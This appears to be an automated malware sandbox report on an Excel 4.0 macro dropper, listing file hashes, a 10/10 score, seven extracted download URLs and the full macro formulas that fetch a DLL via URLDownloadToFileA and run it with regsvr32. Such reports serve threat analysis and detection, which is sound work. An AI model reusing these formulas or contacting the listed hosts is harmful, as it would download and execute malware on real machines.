General

  • Target

    ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3

  • Size

    32KB

  • Sample

    241120-132s4svjey

  • MD5

    106114b7bcca39c90e8b96a9ee4eacf1

  • SHA1

    65785d4bc5347d6b9335e951cf269640f6541cf1

  • SHA256

    ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3

  • SHA512

    800fbafb764b2c04e3e2b02b4ce6b8e771e399b63d6c5bbd6f0336510dcda8cc4fb6b84beac487071b9d7cb38fd1f709569f16fbe10a190f0c0dc4a72199f5a7

  • SSDEEP

    768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

https://al-brik.com/vb-w/U/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alejandrastamateas.com/web/ZxA3zHwsH3r/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://al-brik.com/vb-w/U/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

xlm40.dropper

https://alexetaurore.com/wanted/pfFtzaJovICU81kfuUp/

xlm40.dropper

http://ayursoukhya.org/wp-includes/XI35qPGHvszZ1u/

xlm40.dropper

http://balibuli.hu/cgi-bin/WDDM0VHSK4VcOFmU/

xlm40.dropper

https://aldibiki.com/prettyPhoto/gLFRzQV0VunO/

xlm40.dropper

https://al-brik.com/vb-w/U/

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

https://www.alejandrovillar.com/MSL/eKDWjpa4OHRxpysOTFe/

xlm40.dropper

https://alejandrastamateas.com/web/ZxA3zHwsH3r/

Targets

    • Target

      ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3

    • Size

      32KB

    • MD5

      106114b7bcca39c90e8b96a9ee4eacf1

    • SHA1

      65785d4bc5347d6b9335e951cf269640f6541cf1

    • SHA256

      ca522d9cf74cbce1b26dc5fa09e144581aa698e9acffd5cd35672a940c8e41d3

    • SHA512

      800fbafb764b2c04e3e2b02b4ce6b8e771e399b63d6c5bbd6f0336510dcda8cc4fb6b84beac487071b9d7cb38fd1f709569f16fbe10a190f0c0dc4a72199f5a7

    • SSDEEP

      768:cjf8WFhN7beEizXT2LxdFfPdkqstJVE6D:2EsTXrgXUndkq8E6D

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks